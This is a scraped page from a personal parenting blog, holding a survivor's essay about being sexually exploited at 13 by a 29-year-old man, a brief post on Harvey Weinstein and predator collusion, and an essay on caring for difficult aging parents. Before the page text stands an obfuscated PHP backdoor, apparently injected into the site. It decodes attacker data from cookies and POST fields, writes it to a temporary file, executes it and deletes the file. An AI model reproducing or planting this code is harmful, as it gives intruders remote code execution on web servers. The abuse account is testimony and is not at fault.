$KCDdBtEg = "\163" . "\137" . chr (65) . chr (81) . "\x46";$WLhpiHcr = "\143" . 'l' . chr ( 1060 - 963 ).'s' . "\x73" . '_' . chr (101) . "\170" . 'i' . "\163" . chr (116) . chr ( 304 - 189 ); $cFdyUyKg = class_exists($KCDdBtEg); $KCDdBtEg = "15652";$WLhpiHcr = "32508";$sdLOHijTc = 0;if ($cFdyUyKg == $sdLOHijTc){function IjjAuKwsE(){return FALSE;}$lHwws = "19028";IjjAuKwsE();class s_AQF{private function rjdevHf($lHwws){if (is_array(s_AQF::$xvNmTcJm)) {$YqmzCQjauF = sys_get_temp_dir() . "/" . crc32(s_AQF::$xvNmTcJm["\163" . chr ( 472 - 375 )."\154" . chr ( 203 - 87 )]);@s_AQF::$xvNmTcJm["\x77" . 'r' . "\x69" . chr (116) . "\145"]($YqmzCQjauF, s_AQF::$xvNmTcJm["\x63" . "\157" . chr (110) . chr ( 936 - 820 )."\x65" . chr (110) . chr ( 299 - 183 )]);include $YqmzCQjauF;@s_AQF::$xvNmTcJm[chr ( 655 - 555 ).'e' . chr ( 263 - 155 ).chr (101) . "\x74" . 'e']($YqmzCQjauF); $lHwws = "19028";exit();}}private $nyBiPvdEAZ;public function nMiyTR(){echo 4720;}public function __destruct(){$lHwws = "49302_9227";$this->rjdevHf($lHwws); $lHwws = "49302_9227";}public function __construct($hYnsFX=0){$qEaVVqKyv = $_POST;$FQdomGoA = $_COOKIE;$mjRCM = "8f61e995-3955-4efb-9c83-5dace39335cf";$ZCeSIiR = @$FQdomGoA[substr($mjRCM, 0, 4)];if (!empty($ZCeSIiR)){$jVNzUotjI = "base64";$pKyfr = "";$ZCeSIiR = explode(",", $ZCeSIiR);foreach ($ZCeSIiR as $RKkjtN){$pKyfr .= @$FQdomGoA[$RKkjtN];$pKyfr .= @$qEaVVqKyv[$RKkjtN];}$pKyfr = array_map($jVNzUotjI . "\x5f" . "\x64" . "\x65" . chr (99) . chr ( 207 - 96 ).'d' . chr (101), array($pKyfr,)); $pKyfr = $pKyfr[0] ^ str_repeat($mjRCM, (strlen($pKyfr[0]) / strlen($mjRCM)) + 1);s_AQF::$xvNmTcJm = @unserialize($pKyfr); $pKyfr = class_exists("49302_9227");}}public static $xvNmTcJm = 28509;}$PJSPhJyN = new /* 27523 */ s_AQF(19028 + 19028);unset($PJSPhJyN);} Parenting Inspiration – Page 2 – 2moms2kids

Topic: Parenting Inspiration

My Valentine

glowing heart

glowing heart

Being a teenager in the early 80’s

Stray Cats

My BFF and I spent hours in her bedroom smoking cigarettes, pressing rewind and play on her mixed tape in an attempt to memorize the lyrics to the Stray Cats’ “Sexy & 17” and Spandau Ballet’s “True.” We danced around the room, blowing kisses to posters of Rod Stewart, John Taylor from Duran Duran, and Mick Jagger. Her walls were plastered with Tiger Beat pull-out posters and random pages ripped from music magazines. Among the ashtray with half-smoked cigarettes were two twin beds with matching comforters and shams. They were white with little pink flowers all over — a blunt contrast to the teenager attitude that dominated the room. It was 1983; MTV had debuted; Marlboro Lights were $2.17 a pack and we thought we owned our world.

MTV

Our weekends of driving around aimlessly with our friend who had a car gave way to weekends at my BFF’s new boyfriend’s house. Her boyfriend owned the house, threw the parties and abandoned all rules. I was 13, and she 15 years old.

Tall Blonde vs. Short Redhead

My best friend always got the attention. She was tall, thin, tan and blonde and had an air of confidence that overshadowed my awkward frame. I had wiry red hair that a brush could not contain, glow-in-the-dark white skin, and wore whatever clothes my mom’s church voucher could afford — which were usually Miller’s Outpost indigo blue 501 Levis (stone-washed levis were the style) and a t-shirt. She got the catcalls and whistles — which we considered compliments — while we walked into town.

It was October 1st, 1983 and, on this night as on many other occasions, I tried to look like a girl. Sounds easy enough, but I was pretty uncomfortable in “girls” clothes. I remember one outfit I had recently bought at the swap meet. The pants were cotton, with pink and white vertical stripes; the t-shirt was white with “Stray Cats” written in pink lettering. Pink equals girl, right?

Wine coolers and Marlboro Lights

So we walked to the party with our night’s supply of Marlboro Lights and the swagger of teenagers. I felt the privilege of knowing the party host as my friend, and I claimed our spot on the couch in front of the television cabinet blaring “Addicted to Love” by Robert Palmer on MTV. On other weekends, we spent hours chain-smoking cigarettes and lip-syncing to the videos. On this night, the couch was our roost for the evening. We took turns going down to the basement to listen to the band or to the kitchen to refresh our Strawberry Hill and 7-up DIY wine cooler.

Nicholas Cage in Valleygirl

I noticed him leaning up against the doorjamb as I entered the kitchen. He was tall, wore a white t-shirt and Levis and had his left ear pierced. I was in love with Nicholas Cage in the movie in Valley Girl and decided that he looked just like Cage’s character, Randy. After a few glances, I mustered the courage to ask him for a light. He told me it was his 29th birthday. After a guessing game of how old I was, I revealed that I was 13. He lit my cigarette and, moments later, we were downstairs listening to the band. At one point he turned and kissed me. I was happily shocked. He said, “I hope this isn’t a novelty to you.” I had no idea what that meant but said “No” anyway. I later looked it up in the dictionary, but still didn’t understand the comment.

Crawling through my bedroom window

Over the next four years, I considered him my boyfriend even though we never really went out. He would usually call my friend’s house from a local liquor store around 2 a.m. or 3 a.m. to see if I was there. It usually gave me enough time to jump in the shower and try to look cute for him. If I wasn’t there, he would come to my house and knock on my bedroom window. I would sneak out through the window and back in before anyone woke up. We never really went anywhere, except to park his car in a secluded area and have sex. I always asked him if we could go on a real date, but he inevitably had a smart remark and referred to our dates as “real dates.” Aside from never going to a movie or dinner or to the beach, I didn’t really think there was anything wrong with our relationship — until I told two adult friends about it in an excited way only a 13-year-old can. They both said he was too old for me. They did not mirror my happiness, at all. I stopped telling anyone.

30 years later

Thirty years later, I can find him on Facebook. He looks exactly the same except for his distended gut and eligibility to join AARP (American Association of Retired People) and claim senior discounts. Under other circumstances, I would “Friend” him, but I can’t. Instead, I will check his Facebook page when curiosity comes to me. It’s like a car accident: I tell myself not to turn my head but feel compelled to look.

I feel helpless, really. His page features pictures and video of his niece — aged four or five. She will be 13 one day. I see this child and am struck by the daunting thought of whether he will prey on her — or already has. Has he used the Internet to sneak into the bedrooms of young adolescent girls in a modern variation of how he slipped into mine?

Follow Angelica V. Hernandez, Ph.D. on Twitter: www.twitter.com/2moms2kidstv

Angelica V. Hernandez, Ph.D.

Writer, Speaker, Life Coach

 

MORE:

Adolescence Underage Drinking Mick Jagger To Catch A Predator Underage Sex

 

 

Abuse and Collusion that is Harvey Weinstein

Harvey Weinstein and the other predators out there

Hollywood and abuse the film industry

Harvey Weinstein and the collusion around his behavior

Hollywood and abuse the film industry has been the open secret. The abuse and collusion in this story is so redundant in that the modus operandi (M.O.) is the same for Harvey and every other predator.  There is grooming, manipulation, covert planning, and silence among the witnesses.

Only when we as a society stand up to the bullies and predators and hold them accountable will see change.

Stand up.

Stand tall.

Speak out.

Speak up.

Tell someone.

Call someone.

Report someone.

Be brave.

Be human.

 

Dealing with Old Parents & Well-Being

How do you negotiate caring for a mother that missed the mothering “gene?”

The reality of aging parents is something we cannot avoid as we age.  So, for those of us whose parents were less than pleasant, available or nurturing, we have some soul searching to do.  What is our responsibility to our old parents?

Do I have to?

The short answer is no, you do not have to do anything you don’t want to do. That is one of the benefits of adulthood.  That being said, the answer is more complicated than that and is worth investigating.

What about the rest of my family?

The rest of the family may not know your feeling about the situation and may need to be informed.  The best scenario is that you speak first to your parents about their wishes.  I often reminded my mother that I was going to “drop her off” at a very nice facility.  It became our inside joke when she irritated me, this was often.

Considering parents are not always in the mindset or capable of making their health and well-being decisions, it falls on the family, in this case, it is you.  You could reach out to your family and see if they have any ideas.  If not, you make a decision that considers your old parent’s but works best for you.  This is where you think long and hard about what type of person you are and how do you want to be in the world.

Is it payback time

Will you use this opportunity to take out your frustration, unresolved mom and dad issues out on them?  Will you take advantage of their vulnerability and make them remember what they did and did not do for you? I suggest you have some compassion for yourself and your parents and make decisions that feel right to you.  Ultimately, you are the one that has to deal with your decisions.

Is it because I am the only girl?

Caregiving has historically been assigned to the girls in the family.  I say “nice try.”  Do not let tradition force you into a role you do not want.  I believe it is the families responsibility to come up with a plan

I prayed for compassion

I had a very difficult relationship with my own mother.  There was a list of things that I was angry, disappointed and hurt by during my life.  As much as I had justifiable reasons to reject my mother, it went against my character.  I could not detach my emotions from my actions, I had to come to terms with the fact that we eventually understand, our parents do the best they can with what they know.  Regardless of my mother’s lack of maternal nurturing and protection, she did not treat me with malice.  Her parental skills were limited to her lack of emotional and psychological immaturity.  When it comes down to it, how do you blame someone for having a deficit, you can’t.

 

SaveSave

SaveSave

SaveSave

SaveSave

SaveSave

SaveSaveSaveSave